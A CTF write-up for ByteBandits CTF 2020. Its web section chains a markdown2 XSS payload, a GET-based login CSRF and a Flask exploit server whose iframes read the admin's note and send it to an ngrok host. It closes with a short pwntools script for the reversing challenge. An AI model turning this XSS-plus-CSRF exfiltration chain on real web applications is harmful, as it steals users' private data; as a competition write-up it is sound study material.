ByteBandits CTF 2020
ByteBandits CTF 2020
This year most of the Invaders team members started doing Bug Bounties and became inactive in CTFs, me and D1r3Wolf tried some challenges and able to solve 1 web challenge and 1 rev challenge just few minutes after the end of the competition and I spent most of the time in solving the binary exploitation challenge but I couldn't solve it.
Notes(web 13 solves)
Its a notes taking website with functionalities login, register, notes with markdown and most importantly sending link to admin. Now, its obvious that we need to find xss in the markdown and make admin to visit our xss page and steal the flag, it looks simple but took good amount of time to get the flag.
So, I started fuzzing in the note taking functionality for xss without noticing that the source code is provided in the challenge description and along with d1r3wolf started testing DNS rebinding attack and both of us failed, funnily after some time I noticed that the source code is provided and started analysing the source code.
It's a flask server and interestingly its using python markdown2 , I quickly checked if there are any open xss issues in markdown2 Github repo and found a xss issue here. It would've much more interesting if the challenge is to do source code analysis of markdown2 to get the xss.
Payload for the xss
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
Here comes the interesting part, we need to steal the flag in the admin note and obviously its not that easy because check the below puppeteer functionality.
Get Based Login, which means we have login CSRF.
<!-- https://notes.web.byteband.it/login?username=attacker&password=attacker -->
<form method="get">
<div class="field">
<div class="control">
<input class="input" type="text" name="username" placeholder="Your Username" autofocus="">
</div>
</div>
<div class="field">
<div class="control">
<input class="input" type="password" name="password" placeholder="Your Password">
</div>
</div>
<button class="button is-block is-info is-medium is-fullwidth">Login <i class="fa fa-sign-in" aria-hidden="true"></i></button>
</form>
Bot Functionality
import asyncio
from pyppeteer import launch
from redis import Redis
from rq import Queue
import os
async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
]) # logins to admin account
await page.goto(url) # visits our url, our login csrf wont work because first
# we need to logout and login or else it stays in admin sess
await browser.close()
def visit_url(url):
asyncio.get_event_loop().run_until_complete(main(url))
q = Queue(connection=Redis(host='redis'))
It first logins to the admin account and then visits the link we provided.
For now, there is no use of the XSS we can't just steal the cookie of admin or read his document. we need to somehow keep the admin session and also the attacker session with xss so that we can steal admin notes, sop won't restrict us because of same origin.
The exploit scenario
In words, we create a iframe1 with name=admin which points to admin profile and after some time we create another iframe2 with name=attacker which points to attacker /change-account end point which changes the session to attacker which has xss in it, guess what the document with flag in iframe1 still exists and we can access it from ifram2 because both of them are same origin, simply we steal the flag by parent.admin.document.getElementsByTagName('p')[1].innerText;.
We created a flask-server with ngrok.
While creating exploit we got some issues which are
1. Adding upgrade requests meta tag to upgrade the http->https or else browser won't load the mixed content
2. puppeeter closes immediately after the page is loaded, so it closes in the middle of exploit, I thought of adding images continuously and d1r3wolf came up with cool idea check the /sleep.png endpoint below.
from flask import *
from time import sleep
app = Flask(__name__)
@app.route("/")
def home():
return "OK"
#first-tab
@app.route("/exp")
def main():
return '''
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
</head>
<img src=/sleep.png/>
<div id=iframe1></div>
<div id=iframe2></div>
</div>
</html>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function main(){
ifr = document.createElement('iframe');
ifr.src = "https://notes.web.byteband.it/profile";
ifr.name='admin';
iframe1.appendChild(ifr);
await sleep(500);
ifr2 = document.createElement('iframe');
ifr2.width="50%";
ifr2.height="50%";
ifr2.name='attack';
ifr2.src = "/change-account";
iframe2.appendChild(ifr2);
}
main();
</script>
'''
@app.route("/sleep.png")
def sledp():
sleep(10)
return ""
#second-tab
@app.route("/redirect")
def redi():
sleep(4)
return redirect("https://notes.web.byteband.it/profile#redirect")
#third-tab
@app.route("/change-account")
def change():
return '''
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
</head>
</html>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function main(){
await sleep(500);
ifr = document.createElement('iframe');
ifr.src = "https://notes.web.byteband.it/logout";
document.body.appendChild(ifr);
await sleep(500);
window.location = "https://notes.web.byteband.it/login?username=msrka&password=msrka";
}
main();
</script>
'''
@app.route("/final.js")
def js():
resp = Response(script)
resp.headers['Content-Type'] = 'text/javascript'
return resp
# payload = """<http://g<!s://q?<!-<[<script>dd = document.createElement("script");dd.src = "https://d40af62b.ngrok.io/final.js";document.head.appendChild(dd);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>aler(1);/*](http://g)->a>"""
script = '''window.location = "https://d40af62b.ngrok.io/?a="+parent.admin.document.getElementsByTagName('p')[1].innerText;
'''
if __name__=='__main__':
app.run(debug=True)
And finally we need to make admin to visit our rogue server and we will get the flag flag{ch41n_tHy_3Xploits_t0_w1n}
So, its basically chaining CSRF + Self XSS ,
Autobots(Reverse Engineering)
Its a easy reversing challenge, server sends us binary in base64 format we have to extract some values from the elf automatically and solve the little equation
We just need to extract index from local variables and val from .data section
def solve(index,val):
a = ''
for i in index:
a += val[int(i,16)]
return a
Exploit Code
from pwn import *
from base64 import *
def solve(index,passwd):
a = ''
for i in index:
a += passwd[int(i,16)]
return a
p = remote('pwn.byteband.it','6000')
while True:
f = open('bin','w')
elf = b64decode(p.recvuntil('\n'))
f.write(elf)
f.close()
elf = ELF('./bin')
dump = elf.disasm(0x7f4, 275) #local variables in main
index = re.findall(r',(.*)\n',dump) #noob regex
passwd = elf.read(0xaa8,30) #from data section
print("passwd ")
print(passwd,len(passwd))
print("indexes ")
print(index,len(index))
ans = solve(index,passwd)
print(ans)
p.sendline(ans)
p.interactive()
p.close()
Cheers
s1r1us